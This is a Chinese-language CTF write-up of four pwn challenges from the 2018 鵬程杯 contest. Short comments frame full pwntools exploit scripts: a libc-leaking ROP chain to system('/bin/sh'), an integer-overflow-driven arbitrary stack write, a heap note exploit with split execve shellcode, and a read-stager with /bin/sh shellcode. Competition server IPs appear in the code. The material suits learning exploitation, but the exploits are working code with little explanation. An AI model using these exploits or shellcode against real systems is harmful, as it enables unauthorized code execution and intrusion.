鵬程杯2018 Pwn Writeup

PWN 

code

 

hash爆破(By:Apeng師傅):

得到wyBTs。

這裏棧溢出,控制 ret後,“pop rdi ret”用來調用call。

1.leak_libc 把puts的got.plt表用puts函數輸出

2.計算偏移,得到system和字符串/bin/sh

3.調用system。

from pwn import *
context.log_level="debug"

p=process("./code")
#p=remote("58.20.46.147",38120)
libc=ELF("./libc.so.6")
#libc=ELF("/libc/xitong.so")
p.recv()
p.sendline("wyBTs")
p.recvuntil("to save")
payload="a"*(7*16+8)+p64(0x0000000000400983)+p64(0x0000000000601018)+p64(0x0000000000400570)+p64(0x0000000000400801)
p.sendline(payload)
restr=p.recvuntil("Please")
print "zhukai"+restr
restr=restr[14:20]+"\x00\x00"
print restr
int_1=u64(restr)
print hex(int_1)
libc_base_addr=int_1-libc.symbols["puts"]
system_addr=libc_base_addr+libc.symbols["system"]
binsh_addr=libc_base_addr+next(libc.search("/bin/sh"))
print hex(system_addr)
print hex(binsh_addr)
payload="a"*(7*16+8)+p64(0x0000000000400983)+p64(binsh_addr)+p64(system_addr)+p64(system_addr)
p.sendline(payload)
p.interactive()

overInt

sub_4007D1:我們爆破一下,返回值爲35就OK。

sub_4006C6:一個疊加,這裏出現了整數溢出(0xffffffff)

for i in range(26):
 p.sendline("\xff\xff\xff")
 p.recv()
 
print "ks"
p.send("\x8C\x33\x63\02")
p.recv()
#這樣可以使v3=0x20633372,進入下面流程。

這裏是棧任意地址(偏移)寫。

from pwn import *
import binascii
context.log_level="debug" 
#p=process("./overInt")
#58.20.46.149:35533
p=remote("58.20.46.148",35272)
#58.20.46.150:41314
elf=ELF("./overInt")
libc=ELF("/libc/libc6_2.23-0ubuntu10_amd64.so")
p.recv()
p.send("!!$t")
p.recv()
#raw_input()
p.sendline("\x1c\x00\x00\x00")
p.recv()
for i in range(26):
 p.sendline("\xff\xff\xff")
 p.recv()
 
print "ks"
p.send("\x8C\x33\x63\02")
p.recv()

p.send("\x20\x00\x00\x00")
p.recvuntil("modify?\n")



p.send("\x38\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x13")
p.recvuntil("modify?\n")
p.send("\x39\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x0b")
p.recvuntil("modify?\n")
p.send("\x3a\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x40")
p.recvuntil("modify?\n")
p.send("\x3b\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3c\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3d\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3e\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3f\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x40\x00\x00\x00")
p.recv()
p.send("\x18")#gaiguo
p.recvuntil("modify?\n")
p.send("\x41\x00\x00\x00")
p.recv()
p.send("\x20")
p.recvuntil("modify?\n")
p.send("\x42\x00\x00\x00")
p.recv()
p.send("\x60")
p.recvuntil("modify?\n")
p.send("\x43\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x44\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x45\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x46\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x47\x00\x00\x00")
p.recv()
p.send("\x00")
p.recv()

p.send("\x48\x00\x00\x00")
p.recv()
p.send("\x70")
p.recvuntil("modify?\n")
p.send("\x49\x00\x00\x00")
p.recv()
p.send("\x05")
p.recvuntil("modify?\n")
p.send("\x4a\x00\x00\x00")
p.recv()
p.send("\x40")
p.recvuntil("modify?\n")
p.send("\x4b\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4c\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4d\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4e\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4f\x00\x00\x00")
p.recv()
p.send("\x00")


p.send("\x50\x00\x00\x00")
p.recv()
p.send("\x7f")
p.recvuntil("modify?\n")
p.send("\x51\x00\x00\x00")
p.recv()
p.send("\x08")
p.recvuntil("modify?\n")
p.send("\x52\x00\x00\x00")
p.recv()
p.send("\x40")
p.recvuntil("modify?\n")
p.send("\x53\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x54\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x55\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x56\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
#000000000040087F
p.send("\x57\x00\x00\x00")
p.recv()
p.send("\x00")

restr=p.recv()[19:25]
restr=restr+"\x00\x00"
#print binascii.b2a_hex(restr)
puts_got_addr=u64(restr)
print hex(puts_got_addr)

system_addr=puts_got_addr-libc.symbols["puts"]+libc.symbols["system"]
binsh_addr=puts_got_addr-libc.symbols["puts"]+next(libc.search("/bin/sh"))
print hex(system_addr)

str2=hex(system_addr)[2:]
str1=hex(binsh_addr)[2:]
#print "bin"+str1
#print (str2)
raw_input()
#chr(int(str1[10:12],16))
p.send("!!$t")
p.recv()
#raw_input()
p.sendline("\x1c\x00\x00\x00")
p.recv()
for i in range(26):
 p.sendline("\xff\xff\xff")
 p.recv()
print "ks"
p.send("\x8C\x33\x63\02")
p.recv()
p.send("\x18\x00\x00\x00")
p.recvuntil("modify?\n")



p.send("\x38\x00\x00\x00")
p.recv()
p.send("\x13")
p.recvuntil("modify?\n")
p.send("\x39\x00\x00\x00")
p.recv()
p.send("\x0b")
p.recvuntil("modify?\n")
p.send("\x3a\x00\x00\x00")
p.recv()
p.send("\x40")
p.recvuntil("modify?\n")
p.send("\x3b\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3c\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3d\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3e\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3f\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")



p.send("\x40\x00\x00\x00")
p.recv()
p.send(chr(int(str1[10:12],16)))
p.recvuntil("modify?\n")
p.send("\x41\x00\x00\x00")
p.recv()
p.send(chr(int(str1[8:10],16)))
p.recvuntil("modify?\n")
p.send("\x42\x00\x00\x00")
p.recv()
p.send(chr(int(str1[6:8],16)))
p.recvuntil("modify?\n")
p.send("\x43\x00\x00\x00")
p.recv()
p.send(chr(int(str1[4:6],16)))
p.recvuntil("modify?\n")
p.send("\x44\x00\x00\x00")
p.recv()
p.send(chr(int(str1[2:4],16)))
p.recvuntil("modify?\n")
p.send("\x45\x00\x00\x00")
p.recv()
p.send(chr(int(str1[0:2],16)))
p.recvuntil("modify?\n")
p.send("\x46\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x47\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")


p.send("\x48\x00\x00\x00")
p.recv()
p.send(chr(int(str2[10:12],16)))
p.recvuntil("modify?\n")
p.send("\x49\x00\x00\x00")
p.recv()
p.send(chr(int(str2[8:10],16)))
p.recvuntil("modify?\n")
p.send("\x4a\x00\x00\x00")
p.recv()
p.send(chr(int(str2[6:8],16)))
p.recvuntil("modify?\n")
p.send("\x4b\x00\x00\x00")
p.recv()
p.send(chr(int(str2[4:6],16)))
p.recvuntil("modify?\n")
p.send("\x4c\x00\x00\x00")
p.recv()
p.send(chr(int(str2[2:4],16)))
p.recvuntil("modify?\n")
p.send("\x4d\x00\x00\x00")
p.recv()
p.send(chr(int(str2[0:2],16)))
p.recvuntil("modify?\n")
p.send("\x4e\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4f\x00\x00\x00")
p.recv()
p.send("\x00")
p.interactive()

#沒有寫子函數調用。

note

from pwn import *
context.log_level='debug'
p=process('./note')
#p=remote()
p.recv()

def add(a,b,c):
 p.sendline('1')#add
 sleep(0.01)
 p.sendline(a)#index
 sleep(0.01)

 p.send(b)#length
 sleep(0.01)
 p.sendline(c)#context
 sleep(0.01)

payload1='\x48\x31\xff\x57\x57\x5e\x5a\xeb\x17'
payload2='\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\xeb\x14'
payload3='\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'



add('0','13\x00\x00\x00\x00\x00\x00\x00\x00\xf8\xff\xff\xff\x00',payload1)
add("1",'13\n',payload2)
add("2",'13\n',payload3)

p.sendline('5')
p.interactive()

treasure

from pwn import *
context.log_level="debug"
p=process('./treasure')
#p=remote("58.20.46.149",44323)
#.149:44323
p.recv()
p.sendline("1")
p.recv()
raw_input()
payload="\x33\xc0\x52\x5e\x8b\xd1\x0f\x05\x90"#調用syscall=read(0,,)
shellcode=payload+"\x90\x90\x90\x90\x90\x90\x90\x90\x90"+"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"+"\x90"#shellcode
p.sendline(shellcode)
p.sendline("ls")
p.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章